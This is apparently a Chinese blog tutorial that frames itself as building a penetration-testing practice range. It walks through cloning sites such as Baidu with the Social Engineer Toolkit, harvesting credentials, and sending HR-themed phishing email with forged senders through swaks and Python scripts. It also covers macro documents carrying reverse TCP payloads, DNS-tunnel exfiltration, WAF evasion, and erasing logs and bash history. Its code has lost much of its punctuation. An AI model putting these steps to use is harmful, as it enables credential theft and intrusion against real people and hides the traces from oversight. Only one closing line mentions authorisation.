Kali实战:从网站克隆到邮件钓鱼,手把手打造渗透测试演练场

张开发
2026/4/16 4:47:13 15 分钟阅读

分享文章

Kali实战:从网站克隆到邮件钓鱼,手把手打造渗透测试演练场
1. 环境准备与工具安装在开始实战之前我们需要准备好实验环境。Kali Linux作为渗透测试的瑞士军刀已经内置了大多数我们需要的工具。不过为了确保所有功能可用我建议先更新系统sudo apt update sudo apt upgrade -ySocial Engineer ToolkitSET是本次演练的核心工具它预装在Kali中但建议手动更新。我实测发现直接从GitHub克隆最新版本更稳定git clone https://github.com/trustedsec/social-engineer-toolkit.git cd social-engineer-toolkit pip3 install -r requirements.txt这里有个坑要注意如果遇到Python依赖错误可能是系统默认Python版本问题。我建议单独创建虚拟环境python3 -m venv set-env source set-env/bin/activate靶机准备更简单任何能打开网页的设备都可以。我在测试时发现Windows 10和Ubuntu 20.04表现最稳定特别是Chrome和Firefox浏览器对钓鱼页面的渲染效果最好。2. 网站克隆实战2.1 SET工具基础操作启动SET工具时有个细节建议在tmux或screen会话中运行防止网络中断导致任务终止tmux new -s set_attack setoolkit首次启动会看到彩色菜单界面这里我习惯先选择选项4更新工具包。遇到过几次旧版本克隆网站CSS丢失的问题更新后完美解决。2.2 精准克隆目标网站选择1) Social-Engineering Attacks → 2) Website Attack Vectors → 3) Credential Harvester Attack Method后会看到三个选项Web Templates预设的钓鱼模板适合快速测试Site Cloner真实网站克隆实战首选Custom Import自定义HTML高阶用法我强烈推荐先拿百度首页练手输入https://www.baidu.com 进行克隆。这里有个重要技巧克隆完成后用Chrome开发者工具F12对比原站检查以下元素表单的action属性JavaScript事件绑定CSS文件加载路径2.3 本地化调优克隆的网站往往需要微调才能以假乱真。我常用的优化手段包括替换原站绝对路径为相对路径删除Google Analytics等统计代码添加隐藏的iframe用于数据回传在/var/www/html目录下找到克隆的页面用VS Code快速编辑。有次我克隆某电商网站时发现其登录表单有CSRF令牌验证这时就需要手动注释掉相关验证代码。3. 钓鱼攻击链构建3.1 凭证收集机制当目标在克隆网站输入凭据时数据会发送到Kali的Apache服务器。我习惯用netcat双重验证nc -lvnp 80 tail -f /var/www/html/credentials.txt最近发现更隐蔽的方法将数据加密后通过DNS隧道外传。这需要额外配置DNSCat2但能绕过基础网络监控。3.2 邮件钓鱼实战在SET主菜单选择1) Spear-Phishing Attack Vectors这里有几种经典手法恶意附件最易被拦截链接钓鱼推荐二维码钓鱼移动端场景我最近成功复现了工资条更新钓鱼模板制作包含克隆网站链接的HTML邮件使用Swaks工具发送swaks --to targetcompany.com --from hrcompany.com --server smtp.office365.com -p 587 -tls -au your_account -ap your_password --header Subject: 2023年薪资调整通知 --body phishing_email.html关键点在于邮件头伪造SPF/DKIM配置得当能大幅提升可信度。3.3 恶意文档生成SET的3) Infectious Media Generator模块可以制作带宏的Office文档。我常用以下参数组合模板Excel工资表.xlsm载荷Windows Reverse TCP触发方式AutoOpenWorkbook_Activate实测发现旧版Office成功率更高。最近帮客户测试时发现WPS会默认禁用所有宏这时就需要改用LNK文件漏洞。4. 防御对抗与痕迹清理4.1 反检测技巧成熟的渗透测试要考虑规避防御系统修改Apache的Server头信息使用Lets Encrypt证书启用HTTPS设置合理的User-Agent过滤规则我常用的Nginx混淆配置server { listen 443 ssl; server_name legit-site.com; ssl_certificate /etc/letsencrypt/live/legit-site.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/legit-site.com/privkey.pem; add_header X-Content-Type-Options nosniff; add_header X-Frame-Options DENY; }4.2 自动化脚本频繁手动操作容易出错我编写了几个实用脚本自动克隆网站并启动服务#!/bin/bash setoolkit -x 1\n2\n3\n2\n$TARGET_URL\n$LOCAL_IP\n service apache2 start邮件发送监控import smtplib from email.mime.text import MIMEText def send_phishing(target, template): msg MIMEText(open(template).read(), html) msg[Subject] 重要通知 s smtplib.SMTP(smtp.gmail.com, 587) s.starttls() s.login(yourgmail.com, app-password) s.sendmail(hrcompany.com, target, msg.as_string())4.3 痕迹清理测试结束后务必清理痕迹删除Apache日志shred -u /var/log/apache2/access.log清除SET生成的文件rm -rf /root/.set/销毁虚拟机快照如果使用VMware/VirtualBox有次我忘记清理bash历史记录差点在客户审计时暴露测试细节。现在养成了即时清理的习惯history -c history -w5. 实战经验与进阶技巧在最近一次银行系统测试中我发现现代WAF会检测异常登录行为。这时需要限制请求频率每5分钟1次模拟真实用户鼠标移动轨迹添加随机延迟300-1500ms用Python实现自动化交互from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains import random, time driver webdriver.Chrome() driver.get(http://phishing-site.com/login) actions ActionChains(driver) for _ in range(10): actions.move_by_offset( random.randint(-5,5), random.randint(-5,5) ).pause(random.uniform(0.3,1.5)) actions.perform()对于高价值目标建议结合多种攻击方式。上周的测试案例中我通过以下组合突破防线钓鱼邮件获取初级凭证利用该凭证发起中间人攻击捕获管理员会话cookie横向移动获取域控权限这种层层递进的策略能完整模拟APT攻击链。记得每次测试前要获取书面授权并明确界定测试范围。

更多文章